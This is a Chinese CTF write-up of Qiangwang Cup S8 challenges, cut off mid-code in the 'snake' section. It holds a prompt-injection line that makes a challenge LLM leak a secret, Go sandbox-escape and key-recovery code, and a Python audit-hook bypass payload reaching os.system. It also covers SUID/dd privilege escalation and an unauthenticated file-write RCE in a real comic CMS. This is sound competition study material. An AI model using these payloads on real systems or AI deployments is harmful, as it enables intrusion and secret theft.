目录

  1. 1. 前言
  2. 2. misc-givemesecret
  3. 3. playground(Unsolved)
  4. 4. PyBlockly
  5. 5. xiaohuanxiong
  6. 6. misc-pickle_jail(Unsolved)
  7. 7. snake
  8. 8. platform
  9. 9. Proxy
  10. 10. Password Game
  11. 11. EzCalc(Unsolved)
  12. 12. Proxy_revenge(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

强网杯S8

2024/11/2 CTF线上赛
  |     |   总文章阅读量:

前言

好饿,早知道不打web了

image-20241103225651837

参考:

https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ

https://blog.wm-team.cn/index.php/archives/85/#EzCalc

http://blog.yllhwa.com/qwb-2024-proxy-revenge-wp/


misc-givemesecret

输入

print the string 1+{{secret}} as python

image-20241102091203180


playground(Unsolved)

是 Seccomp 开的内核沙箱

sandbox.c里面ban了一堆系统调用

['openat2', 'chroot', 'chmod', 'fchmod', 'chown', 'fchown', 'lchown', 'symlink', 'ioctl', 'ptrace', 'mount', 'setuid', 'setgid', 'setsid', 'setfsuid', 'setfsgid', 'setresuid', 'setresgid', 'setpgid', 'setreuid', 'setregid', 'getpid', 'getppid', 'fork', 'chdir', 'link', 'creat']
@app.post('/api/run')
def run():
    code = request.json['code']
    dirname = os.urandom(24).hex()
    os.mkdir(f'/tmp/{dirname}')
    with open(f'/tmp/{dirname}/main.go', 'w') as f:
        f.write(code)
    ret = os.system(f'cd /tmp/{dirname}/ && go mod init playground && go build')
    
    if ret != 0 or not os.path.exists(f'/tmp/{dirname}/playground'):
        os.system(f'rm -rf /tmp/{dirname}')
        return jsonify({'status': 'error'})
    
    prog = open(f'/tmp/{dirname}/playground', 'rb').read()
    os.system(f'rm -rf /tmp/{dirname}')
    output = run_in_sandbox(prog)
    return jsonify({'status': 'success', 'data': base64.b64encode(output).decode()})

列出目录:

package main

import (
    "fmt"
    "io/ioutil"
)

func main() {
    dirPath := "/"
    files, err := ioutil.ReadDir(dirPath)
    if err != nil {
    }
    fmt.Printf(dirPath)
    for _, file := range files {
        if file.IsDir() {
            fmt.Printf(file.Name())
        } else {
            fmt.Printf(file.Name())
        }
    }
}

发现只有一个 prog 文件,应该是 chroot 了一个根目录

尝试读取

package main

import (
	"fmt"
	"os"
	"syscall"
)

func main() {
	// 打开一个文件
	file, err := os.Open("/prog")
	if err != nil {
		fmt.Println("Error opening file:", err)
		return
	}
	defer file.Close()

	// 读取文件内容
	buffer := make([]byte, 1024)
	n, err := syscall.Read(int(file.Fd()), buffer)
	if err != nil {
		fmt.Println("Error reading file:", err)
		return
	}

	// 输出读取的内容
	fmt.Printf("Read %d bytes: %s\n", n, buffer[:n])
}

读不下来

命令执行

package main

import (
	"fmt"
	"os"
	"os/exec"
)

func main() {
	cmd := exec.Command("ls")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	err := cmd.Run()
	if err != nil {
		fmt.Println(err)
	}
}

回显exec: "ls": executable file not found in $PATH,果然不行

总之是开了个沙盒

环境变量

package main

import (
	"fmt"
	"os"
)

func main() {
	for _, env := range os.Environ() {
		fmt.Println(env)
	}
}
HOSTNAME=engine-1
ECI_CONTAINER_TYPE=normal
SHLVL=1
HOME=/root
OLDPWD=/app
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_SHA256=6b281279efd85294d2d6993e173983a57464c0133956fbbb5536ec9646beaf0c
GOROOT=/go
GO111MODULE=on
TERM=xterm
USERNAME=
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/go/bin
LANG=C.UTF-8
GOPATH=/tmp/go
GOPROXY=https://goproxy.cn,direct
GOCACHE=/tmp/go/cache
PYTHON_VERSION=3.9.20
PWD=/sandbox
PASSWORD=

没思路

我们的go文件执行的位置和沙盒不在一个目录下,不然可以用 embed 读取 sandbox.key

package main

import (
	_ "embed"
	"fmt"
)

//go:embed sandbox/sandbox.key
var key []byte

func main() {
	fmt.Println(string(key))
}

关于 Seccomp 的内容:https://blog.csdn.net/weixin_45030965/article/details/136299348

我们可以在本地的 dokcer 环境里先测试,翻一下有哪些系统调用

cat /usr/include/bits/syscall.h

对照一下前面ban掉的系统调用

['openat2', 'chroot', 'chmod', 'fchmod', 'chown', 'fchown', 'lchown', 'symlink', 'ioctl', 'ptrace', 'mount', 'setuid', 'setgid', 'setsid', 'setfsuid', 'setfsgid', 'setresuid', 'setresgid', 'setpgid', 'setreuid', 'setregid', 'getpid', 'getppid', 'fork', 'chdir', 'link', 'creat']

看看还有什么没挂掉:

['read', 'write', 'open', 'close', 'stat', 'fstat', 'lstat', 'poll', 'lseek', 'mmap', 'mprotect', 'munmap', 'brk', 'rt_sigaction', 'rt_sigprocmask', 'rt_sigreturn', 'pread64', 'pwrite64', 'readv', 'writev', 'access', 'pipe', 'select', 'sched_yield', 'mremap', 'msync', 'mincore', 'madvise', 'shmget', 'shmat', 'shmctl', 'dup', 'dup2', 'pause', 'nanosleep', 'getitimer', 'alarm', 'setitimer', 'sendfile', 'socket', 'connect', 'accept', 'sendto', 'recvfrom', 'sendmsg', 'recvmsg', 'shutdown', 'bind', 'listen', 'getsockname', 'getpeername', 'socketpair', 'setsockopt', 'getsockopt', 'clone', 'vfork', 'execve', 'exit', 'wait4', 'kill', 'uname', 'semget', 'semop', 'semctl', 'shmdt', 'msgget', 'msgsnd', 'msgrcv', 'msgctl', 'fcntl', 'flock', 'fsync', 'fdatasync', 'truncate', 'ftruncate', 'getdents', 'getcwd', 'fchdir', 'rename', 'mkdir', 'rmdir', 'unlink', 'readlink', 'umask', 'gettimeofday', 'getrlimit', 'getrusage', 'sysinfo', 'times', 'getuid', 'syslog', 'getgid', 'geteuid', 'getegid', 'getpgrp', 'getgroups', 'setgroups', 'getresuid', 'getresgid', 'getpgid', 'getsid', 'capget', 'capset', 'rt_sigpending', 'rt_sigtimedwait', 'rt_sigqueueinfo', 'rt_sigsuspend', 'sigaltstack', 'utime', 'mknod', 'uselib', 'personality', 'ustat', 'statfs', 'fstatfs', 'sysfs', 'getpriority', 'setpriority', 'sched_setparam', 'sched_getparam', 'sched_setscheduler', 'sched_getscheduler', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_rr_get_interval', 'mlock', 'munlock', 'mlockall', 'munlockall', 'vhangup', 'modify_ldt', 'pivot_root', '_sysctl', 'prctl', 'arch_prctl', 'adjtimex', 'setrlimit', 'sync', 'acct', 'settimeofday', 'umount2', 'swapon', 'swapoff', 'reboot', 'sethostname', 'setdomainname', 'iopl', 'ioperm', 'create_module', 'init_module', 'delete_module', 'get_kernel_syms', 'query_module', 'quotactl', 'nfsservctl', 'getpmsg', 'putpmsg', 'afs_syscall', 'tuxcall', 'security', 'gettid', 'readahead', 'setxattr', 'lsetxattr', 'fsetxattr', 'getxattr', 'lgetxattr', 'fgetxattr', 'listxattr', 'llistxattr', 'flistxattr', 'removexattr', 'lremovexattr', 'fremovexattr', 'tkill', 'time', 'futex', 'sched_setaffinity', 'sched_getaffinity', 'set_thread_area', 'io_setup', 'io_destroy', 'io_getevents', 'io_submit', 'io_cancel', 'get_thread_area', 'lookup_dcookie', 'epoll_create', 'epoll_ctl_old', 'epoll_wait_old', 'remap_file_pages', 'getdents64', 'set_tid_address', 'restart_syscall', 'semtimedop', 'fadvise64', 'timer_create', 'timer_settime', 'timer_gettime', 'timer_getoverrun', 'timer_delete', 'clock_settime', 'clock_gettime', 'clock_getres', 'clock_nanosleep', 'exit_group', 'epoll_wait', 'epoll_ctl', 'tgkill', 'utimes', 'vserver', 'mbind', 'set_mempolicy', 'get_mempolicy', 'mq_open', 'mq_unlink', 'mq_timedsend', 'mq_timedreceive', 'mq_notify', 'mq_getsetattr', 'kexec_load', 'waitid', 'add_key', 'request_key', 'keyctl', 'ioprio_set', 'ioprio_get', 'inotify_init', 'inotify_add_watch', 'inotify_rm_watch', 'migrate_pages', 'openat', 'mkdirat', 'mknodat', 'fchownat', 'futimesat', 'newfstatat', 'unlinkat', 'renameat', 'linkat', 'symlinkat', 'readlinkat', 'fchmodat', 'faccessat', 'pselect6', 'ppoll', 'unshare', 'set_robust_list', 'get_robust_list', 'splice', 'tee', 'sync_file_range', 'vmsplice', 'move_pages', 'utimensat', 'epoll_pwait', 'signalfd', 'timerfd_create', 'eventfd', 'fallocate', 'timerfd_settime', 'timerfd_gettime', 'accept4', 'signalfd4', 'eventfd2', 'epoll_create1', 'dup3', 'pipe2', 'inotify_init1', 'preadv', 'pwritev', 'rt_tgsigqueueinfo', 'perf_event_open', 'recvmmsg', 'fanotify_init', 'fanotify_mark', 'prlimit64', 'name_to_handle_at', 'open_by_handle_at', 'clock_adjtime', 'syncfs', 'sendmmsg', 'setns', 'getcpu', 'process_vm_readv', 'process_vm_writev', 'kcmp', 'finit_module', 'sched_setattr', 'sched_getattr', 'renameat2', 'seccomp', 'getrandom', 'memfd_create', 'kexec_file_load', 'bpf', 'execveat', 'userfaultfd', 'membarrier', 'mlock2', 'copy_file_range', 'preadv2', 'pwritev2', 'pkey_mprotect', 'pkey_alloc', 'pkey_free', 'statx', 'io_pgetevents', 'rseq', 'pidfd_send_signal', 'io_uring_setup', 'io_uring_enter', 'io_uring_register', 'open_tree', 'move_mount', 'fsopen', 'fsconfig', 'fsmount', 'fspick', 'pidfd_open', 'clone3', 'close_range', 'pidfd_getfd', 'faccessat2', 'process_madvise', 'epoll_pwait2', 'mount_setattr', 'landlock_create_ruleset', 'landlock_add_rule', 'landlock_restrict_self', 'memfd_secret', 'process_mrelease', 'futex_waitv', 'set_mempolicy_home_node', 'cachestat', 'fchmodat2']

能读能写,测试发现目录没有写权限,毕竟根目录被 chroot 改了也没办法

前面我们读到 chroot 目录下留了个 prog 文件,尝试用系统调用读取

package main

import (
	"fmt"
	"os"
	"syscall"
)

func main() {
	// 打开一个文件
	file, err := os.Open("/prog")
	if err != nil {
		fmt.Println("Error opening file:", err)
		return
	}
	defer file.Close()

	// 读取文件内容
	buffer := make([]byte, 1024)
	n, err := syscall.Read(int(file.Fd()), buffer)
	if err != nil {
		fmt.Println("Error reading file:", err)
		return
	}

	// 输出读取的内容
	fmt.Printf("Read %d bytes: %s\n", n, buffer[:n])
}

返回 malformed URI sequence,其实是返回了一个很大的结果导致截断,可以抓包看看

结合题目的app.py

def run_in_sandbox(prog):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 2077))
    chall = bytearray(s.recv(1024))
    for i in range(len(chall)):
       chall[i] ^= key[i % len(key)]
    
    prog = bytearray(prog)
    for i in range(len(prog)):
        prog[i] ^= key[i % len(key)]

    options = 52
    pkt = io.BytesIO()
    pkt.write(struct.pack('<II', len(prog) + len(chall), options))
    pkt.write(chall)
    pkt.write(prog)
    s.send(pkt.getvalue())

    output = io.BytesIO()
    while True:
        try:
            data = s.recv(1024)
            if not data:
                break
            output.write(data)
        except:
            break

    s.close()
    return output.getvalue()

可以知道这个 prog 就是我们传入的代码,app.py 会发送数据包到 2077 端口上,即这里的 sandbox

而 app.py 发送的 prog 数据都是 XOR 过 key 的,我们首先需要想办法获取 /sandbox/sandbox.key

因为这里建立了一个 connection ,在系统调用中没被 close,那么这个 connection 会一路继承到我们要执行的 /prog,并且如果还有其它有效的 connection的话,也会一起继承下去。什么意思呢,就是发送的数据包内容会存在于 prog 中,这个数据包的内容可能存在上一次数据包被截断的部分

prog 的数据已知,所以截获到加密后的数据可以还原 key,先写个 go 程序,把全部 fd 都 recv 一遍

package main
import (
  "fmt"
  "os"
  "os/signal"
  "syscall"
)

func main() {
  sigc := make(chan os.Signal, 1)
  signal.Notify(sigc, syscall.SIGALRM)
  go func() { _ = <-sigc; os.Exit(1); }()
  syscall.Syscall(syscall.SYS_ALARM, 1, 0, 0)

  buf := make([]byte, 12345)
  for i := 0; i < 100; i++ {
    for true {
      n, _, err := syscall.Recvfrom(i, buf, 0)
      if err != nil || n == 0 {
        break
      }
      if n != 12345 {
        fmt.Printf("%d: (%d) %x\n", i, n, buf[:n])
      }
    }
  }
}

多次重启靶机尝试竞争后 dump 出一个数据包

4: (3807) 6f7f43d654ddc2d697edf05a7a61ebd2177fa5497d2a71fc4b8621341ed983817b72490db9e2c46c5c09784935e81fbc681ad40cabfc868ca77e60e9b26ee80d63b26d191e748213d036f19b3bd8a25b6b5bacd6153ed5530400ff8946d635be7c053a36bda6cb3dd6ea207811b0eea4191ad4aa878abf8cbffc7aa2c6d15ec837c131d80cab8a5f5de1f0e71fb8a65b435b9cd61536d57b00002789b6d983c53ceaa90d49a6cb7d68a47c2902712fbc17125251f3f81dac583f6181c8d05ecca981f497dbaa5217d47a91c3d627159a96bb749a9c6aacc0473edbff5654bffb3cee4ad1b12dfc35a5db5c177270d7bc985edb1d4748be0e6e0e7e2c2b491245608c4c8e784585e92ea1396dfdda9f7a5ff49cdad4e98f0b48fd3ea2a991d18dfdad7d26566c83fee6d5600e71e12b1bc9564b555e10be0ae3ee1bcab8c15acee4edd5559323c2d4098d41d3b044ce62177fecd61726d523a1d25c52e19d8c7314327cd63aee48ba306029ef737a989007d3b9e22827b08ca6222ce03d3d1332688bbb518d271ab489e8f9673ed768d5157fecd61536d52b0c01c78900950a5150eb3529f9ee42c104ad280d3abd6c2e63569aeb12d082865537df4adf8999152881f65f18508617d4513112c8273bdda133c885d46552cb0886316b565207e1dc633529b12d9f591865a3911e496398081650a1f358f6831047bb69f14a5e614085f6c1b7ab8a5f5de5f2c71ff0aedda11bc884dde3044bc33d873d1ed98380f91e376f719ad5382f9bc544b90461978b06da1dd7913766154abbcd99f15cce1ce5355a8c638a16de567194be5dead2173567d6b02ab98a8ac12a755650502dd7bfcad6b12d9f591065a1492eb92b5f4c4a931dd7d8f6cb9d763ae930799a4560c935dce737da17d4d56dc373536ef6bf7fec9a93dcbd2757c128f93ae1cb4ee8478529f9a683f69409b80d3af92b13b47a5b1dd7d8b70ad84ab9ed99e15ecef4edf5559323c6d4018d51df346e8ef6093367f6b85abf8834a5e3ec9adecd4e384f7d687a47cc3aa8092743b1b54fc844d5bc159b53c9ce99673a2280d4d55360c909479c3c8ab7864c7c9b7651d19b9c76a513d762bc8a71c128fd26930899583b79a028ee42adc8b74f083ab1e8cc2c6e93e293ccbecb934226f1ad8999d944617d55932c3c2c0ce178ef2f80a25bcf705ad6b875b9881cad9be59545a775746335617212efed202d2845b1454718085edb5c5e10ba085c2212ed365536cd60c97d19187fae77b4798464c494633aae7dec9a9c821ceb4d89eb201b5de4cf74d83829f9a65b95db5a2d0daab1eadc2c5693948bfce6cb994a16b95567d5406081f611b72bc2d4018d69d3b094cecafe8d176563a63dcf84456f61d2154f09b8aff9e5356a072868a4cd45b91543d08316d3555e1fbe0ac837e9491ac41245284ab975cee0460a15209cd3b834ca9a9c2fe4d215adb98a90c12a665650522df7663529b1250f5d7deee4c1f635af54c49217d11b143a4fdccafe6d710dde89ac05b1995fef460a15209cd3b834ca9a9e0bc8ca1c574dc65e89a3d95e91060500587daa81aecb091465abf2328b4dd08102ff259f51baa7504ebbdd99895accb881f49edbaa736ea241609e3bd8a2595b5bacd21736d53b0002df8956910a1d3ceafe61705f5b955bdc2d0d727237bc586f1bf6d49009435885caa8c0b25acca181bcad90451a17de517be8545ce89a9eb4a4197f92b98a86c18a73116f1fc77c623529f6b9cb35a5db54467270abd081af641cd7d8f650f74eb1589dd8e4649789f98ae78cc2d4416bfaa63d1dfcd2170bf8725389f4030100b8e5956d41057463356070d5c335a9b1eacd3af963738c1658d9f785356b5b1330a104c3124560213cb296231a0a15209cd3b834ca522abe288c9c6a85290002eba5565c4ab1552bbc6ddd9683f47c091045b33e2b11d06f00f5f8dcf683588d76858d89991944f135de9b6b03871520b273ac35efd25ffc28bac1a93dcf84456f61d2154f09b8aff9e5356a072868a4cd45b9155bd0811aff559f51aaa7404ebbed99995ace30a135dee33bc276aeedf2db6791e57dcf372d71bc22feac92c1a25e5650dfe144f33a36bda6cb957b2d280d727217bc58165049f3e8bebac6732ae93695361d2c423171db451a1664f811ee309069162f222fd2173ed55b010052e43700cf48705179a037c05b959b2c280d727aa7a0559d17d11b143a4fdccafe6d710dde89ac05b1995fef460a15209cd3b834fadda12f8e6c5e6b84680008dbc51edb83c50227e5c3f6b9cbf9f2592445b3232b131a1658dedf33facb9b96aaa1bdc15ac0b2bd6e1d1851aa17d6a73112e39063055ffc288ac1a9c0c3000060e59718b23a3ce0f139a46583f47c0900e58df0639840d58739ff907f4221f97a28658991817094be64536b039c1520b8aac490691607222f5650a63dcf84456f61d2154f09b8aff9e5356a0735a9510c2dd1ff2f11c11252de9f5d3f8c95cd32a1bd8997ba6f4dc9559323c2d2cea97b9b3b9461951f36ed5ad053337143c528aa52d8438dfda2de2fb12f0a35a9fd6034fc8f1ed0819c93341f90376b164abf23bdc3124528ca3a75dfa88213646f0acb72513a9a3e8da41b5e6af30348c162471d910a0d3ceae46843a7cb7d2064fbef720ebad485041b542003be00ea467ab86f88339729442faadbf06816de5239d6220aa6f3c5371b48d54b20ea1a765c5256504b8cfdb33a36bda6cb9462d2d7f20b392b11cb1652dce627be0ad6c50361f548d10de9084caadbaa4c9c15a6c54a73d751035ff2d8495fa63dcf84456f61d2154f09b8aff9e5356a072868a4cd45b38547b040d3cf2e9ee1268c969033a1bd8997ba6f4d6d549323c6d452e5405549eda2fbd433618e822774ca470d22ac1ed9cb4cb52fbcf9b12f184cf264dffc73f6cc5940d3cf159ff130cb91e0325f423e5a44b6226d1d12c58aa1a256319ae59063015ff62ed31598b92a9ec19ada16aea68975a93a36bda6cb3419fd5e01727214b840d5ed555e081dc321c67a287e899b8451362096dbe264591180aad3fa33e99a9ea6ad239d6af103015a42e51daea38df79a7564e07d865cf964dfd476da6dd48190939407947f515c8bb8a1bfc1120859010e1fdbaa5b137468311afad8e8d217372d739f2b49024889a3e4cd39ca4cbd2ac2f0b52b9abd69daf245b90023d51185963c0f91094b5c8ffbe86e215bc69a89304c5a6eab97145ea9d71a1ea25bc437656bc1a9b9c2a68aeb24d4910a3435da3429f9a682aec161a59e3afb639840dd225d9fc100ca31f77b56648d338f2df0ad26da6b03861180b8d3ba19ead0177fa45b75694f024889a3e5cd3fca4cbc2ac2f1b52b82bd69daf145b90023d5118c973c0190094d5c8ff3e96e275bc69989304c536fab99155eafd31a2aa25bc6222fab5c2278c00000629ce184402d37723729696a072868a4cd45b91503d0818493141590ff4958f1f0a6bdc1124ae5ba7e5593a3b7149dbf799b345cc7d3177fa4209c6af1034809a3ad56d8418db5892fb9f6b9cb35a1d7280d7af9119c398c302e9b53f3e7441032e039c15bce7419724ad7238a17d87b0d8f72512a9bd697e1db1d8a0e1c4889e9260a1b68c245b13a36bda6cb35a5ff5d2c727276bcb54adb55520a828a5c8d30e936931aae65f8af10a2e3bba9b4e77b9b3b48ae58551cad1a646b840f00b0e1b569dfcbfc3613422fb1250f1d7dee60847edd13d08102ff659f517aa7900632a1f04a54752d42fd8593238a13d4ed5dc37a5cea9a928098afd865474c5fc8556c5eaca9cac2315726e6e6cb8be22c5c050b2b526e39a130139f53a1a3804eb9b3f548c40de90b34dc42451ab476e1f05873513a3ac4851365d0e1b52710c12a635650598cfda27da2bd82bb35aba10c8d3af963d08302ff659f5d2d8c942033a1bd2a520de30d1d08506e01fc2dbb799b76510f9b94bafcd715c181114889ee261e940ac1502ebe2bb42f8f592865a1c37270b9d1819f939693fc86cb9b8a1621bdc11209edcd7c1d1af0c6d695e1f06a77512c3a84841365d4ef070ccc06a3ad1e91089150137ca009eee2ab6ca6642942b4ee8c39125041f380bb08b37620a1bd8891817059724ad7238a12640a01893bd8e55166801365d4e38d2718c12ae93ae1cb4c2847056170eaef556ca46c2972b5eacc2c1e33ad37d9f6cb9b421699f54a5e614881f601b753c2d4018d49d3b0a4ce825bf4a8bed4267a4f6cf1ef264afdc389ff3f1171f6b9cb9439d2d7f2727aa7f8559d979655a8e483104bbb63f442d04d2c40ef2581238a13d6bf34122b90631c5ff636d315abb9880cadd3e59555a7457463356574a2ca35a9fe6484f2b1ea6944d71df57822097c5883c4d512899911449131de1153985f5de0fa5b3348a6eb9507fe9a9c196a4bc1c587955650dfe1442bbc55ddf683f464090045b38d47d0e0ac041cd7907dc7342e7a2af1e52a0deb9d590ddba8d67b6de1f2ef1f90a2596b5bbc73c6950efc007665e5272bfdf739e839d9b42d5aad202d28410329117041675ac5d7d8f6f5cf4ebb66f1e8c50ceb785d5793231ab7a6a2799b735b2eb24abca41189144b1748c1267f6ad2cf4e762bbe7bf1c05b96251cfa480b39526ee35d93e21190cf716e3e7f2ab1315fcef1297d5593451a1364790b7d72e16b3a177fecec412278c404a074e49568b3c774633a36bda6cb95bb26280d727aa7f8559d939e13b8ab40588b377305cb12fe48c97d559c3c8ab706c77c9bab14261edbb3205650a63dcf84456f61d2154f09b8aff9e5356a072868a4cd45b91503d0818493141490ff4858f1f1a6bdc1124ae5647c5593a3b7d4e1bf799b345c39d2177fa111da5abc88c859a3ad1e9807c53dda3529f9a6cbfd202d610cfbb0a27112ce929c2ed8f6c3107437e48c08f9692c4268cdc3358a1ed9ab36103712a757de0bfad215a9b9c2a084865201d98388ff6ff461707e5b96236819c4727027bc78165249f398be0a9c22b2a1bdc15ecc24ed255a8c638a17d8560db47fd75c85003e1a58dc1fd546473feacf5f2f42c4006a04f2bc97024cdfc62341b1b6430845d5d2555e1bbe0aceed6ee934025ecca8211ca26cdcc2d4098d39d7b09cce8a5ef625d215acb9880cadd3e59555a745746335c2cbee48b94070eb40b163138a085e96940b917547184bbb03cdd312452d425c181a00c3d694e1f05d73513a9a9cf3c81a9c6af14bc59da2e59729cf4cbd2bbcfff6b9cb951bd5d7f2727c95ec73165049f3a8beaac64ab9e599815cc86ccf31dec707d212d63309893bd8a351d4777cd7a5f089114889d0225650c7      

app.py 发送数据似乎是以 0x10000 的长度分包的,所以 http 接收到的不完整的数据大概率是 0x10000 边界末尾的数据

拿截获到的数据和 prog 相应位置的数据 XOR 一下,就能还原出 key 了

(但是我爆破了半天数据位置还是没爆出key。。)

因为sandbox程序中进行了 chroot,需要逃逸从而 open 获取 flag

这里我们控制了 prog 的内容,可以利用 go 程序跟 sandbox 进行交互,然后将 option 设置为1,就可以利用 ptrace 和 mount 之类的进行 chroot 逃逸了

package main
import (
  "bufio"
  "bytes"
  "encoding/binary"
  "encoding/hex"
  "fmt"
  "os"
  "syscall"
  "unsafe"
)

func main() {
  key, err := hex.DecodeString("<key>")
  exe, err := hex.DecodeString("<prog ELF>")

  socket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)

  var addr syscall.SockaddrInet4
  addr.Port = 2077
  addr.Addr = [4]byte{127, 0, 0, 1}
  err = syscall.Connect(socket, &addr)

  chall := make([]byte, 0x40)
  n, _, err := syscall.Recvfrom(socket, chall, 0)
  for i, b := range key {
    chall[i] ^= b
  }
  for i, _ := range exe {
    exe[i] ^= key[i % len(key)]
  }

  var buf bytes.Buffer
  writer := bufio.NewWriter(&buf)
  binary.Write(writer, binary.LittleEndian, int32(len(exe) + len(chall)))
  binary.Write(writer, binary.LittleEndian, int32(48))
  writer.Write(chall)
  writer.Write(exe)
  writer.Flush()
  syscall.Sendto(socket, buf.Bytes(), 0, nil)

  buf2 := make([]byte, 1024)
  for true {
    n, _, err := syscall.Recvfrom(socket, buf2, 0)
    if err != nil || n == 0 {
      break
    }
    fmt.Printf("%x\n", buf2[:n])
  }
}

逃逸部分或许可以参考:https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/15/sandbox/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){
	char buf[100]={};
	int fd1 = openat(3,"../../../../../flag",0);
	read(fd1,buf,100);
	write(1,buf,100);
	printf("[+] from server\\n");
}

PyBlockly

是基于ast的沙箱

核心部分

def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

目的是构造出print(__builtins__.open('/flag').read())

那么利用点就是这里了

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"


elif block_type == 'text':
    if check_for_blacklisted_symbols(block['fields']['TEXT']):
        code = ''
    else:
        code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

测试发现可以用全角字符绕过,unidecode 会转回半角字符

');printopen("/proc/1/environ").read())#
\uFF07\uFF09\uFF1B\u0070\u0072\u0069\u006E\u0074\uFF08\u006F\u0070\u0065\u006E\uFF08\uFF02\uFF0F\u0065\u0074\u0063\uFF0F\u0070\u0061\u0073\u0073\u0077\u0064\uFF02\uFF09\uFF0E\u0072\u0065\u0061\u0064\uFF08\uFF09\uFF09\uFF03

image-20241102114758482

发现不能直接读取flag,那还是要rce

那就要绕这个

blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
    raise RuntimeError("Too Long!")

参考:https://xz.aliyun.com/t/12647#toc-39

可以污染 len 函数使其返回的值固定为1来绕过长度检测

然后构造绕过hook blacklist

__builtins__.len=lambda x:1;[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system('ls / -lh')

shell没弹成功,那就直接rce

image-20241102140501043

find suid一下

find / -perm -u=s -type f 2>/dev/null

image-20241102140148914

dd 提权读取flag即可

dd if=/flag

image-20241102140731646


xiaohuanxiong

小涴熊漫画CMS,官方源码已经删库了,连文档都没了,找了个别人fork的库 https://github.com/forkable/xiaohuanxiong

ThinkPHP V5.1.35 LTS

image-20241102141120778

发现 /search?keyword= 存在sql注入,但是写不进shell

扫 admin 时发现 admin/admins 存在未授权访问

image-20241102165134312

image-20241102165342634

审代码发现 admin 里有file_put_contents的部分

application/admin/controller/Payment.php

//支付配置文件
public function index()
{
    if ($this->request->isPost()) {
        $content = input('json');
        file_put_contents(App::getRootPath() . 'config/payment.php', $content);
        $this->success('保存成功');
    }
    $content = file_get_contents(App::getRootPath() . 'config/payment.php');
    $this->assign('json', $content);
    return view();
}

输入可控,直接rce

image-20241102165930445

刷新得到flag

image-20241102165957107


misc-pickle_jail(Unsolved)

from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time

from faker import Faker

Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()


def print(_):
    stdout.buffer.write(f"{_}\n".encode())
    stdout.buffer.flush()


def input(_=None, limit: int = -1):
    if _:
        print(_)
    _ = stdin.buffer.readline(limit)
    stdin.buffer.flush()
    return _


def bye(_):
    print(_)
    _exit(0)


players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()

assert name not in players, "You are already joined!"

print(f"Welcome {name}!")
players.append(name)

biox = BytesIO()
Pickler(biox).dump(
    (
        name,
        players,
        flag,
    )
)

data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF

del name, players, flag
biox.close()
stderr.close()

try:
    safe_dic = {
        "__builtins__": None,
        "n": BytesIO(data),
        "F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
    }
    name, players, _ = eval("F(n).load()", safe_dic, {})
    if name in players:
        del _
        print(f"{name} joined this game, but here is no flag!")
except Exception:
    print(f"What happened? IDK...")
finally:
    bye("Break this jail to get the flag!")

参考:https://zenn.dev/tchen/articles/5c446d9dbd9920#%E2%9C%85-lost-in-transit-(1126pts-18%2F715solves-%E3%82%AF%E3%83%AA%E3%82%A2%E7%8E%872.5%25)

pickletools 解析一下字节串,对照参考文章

    0: \x80 PROTO      4
    2: \x95 FRAME      554
   11: C    SHORT_BINBYTES b'1'
   14: \x94 MEMOIZE    (as 0)
   15: ]    EMPTY_LIST
   16: \x94 MEMOIZE    (as 1)
   17: (    MARK
   18: C        SHORT_BINBYTES b'David'
   25: \x94     MEMOIZE    (as 2)
        ...
  468: C        SHORT_BINBYTES b'Gerald'
  476: \x94     MEMOIZE    (as 51)
  477: h        BINGET     0
  479: e        APPENDS    (MARK at 17)
  480: \x8c SHORT_BINUNICODE 'jail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant}'
  561: \x94 MEMOIZE    (as 52)
  562: \x87 TUPLE3
  563: \x94 MEMOIZE    (as 53)
  564: .    STOP
highest protocol among opcodes = 4
    0: \x80 PROTO      4
    2: \x95 FRAME      87
   11: K    BININT1    1
   13: \x8c SHORT_BINUNICODE 'jail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant}'
   94: \x94 MEMOIZE    (as 0)
   95: \x86 TUPLE2
   96: \x94 MEMOIZE    (as 1)
   97: .    STOP
highest protocol among opcodes = 4

SHORT_BINUNICODE:

  バイト列の長さ
   --
8C 03 70 6F 67
--    --------
命令    文字列

。。。看不懂了


snake

const canvas = document.getElementById('gameCanvas');
const ctx = canvas.getContext('2d');

let snake = [];
let food = {};
let score = 0;

function draw() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
    
    // 绘制蛇
    ctx.fillStyle = '#00ff00';
    snake.forEach(segment => {
        ctx.fillRect(segment[0] * 20, segment[1] * 20, 20, 20);
    });
    
    // 绘制食物
    ctx.fillStyle = '#ff0000';
    ctx.fillRect(food.x * 20, food.y * 20, 20, 20);
    
    // 显示分数
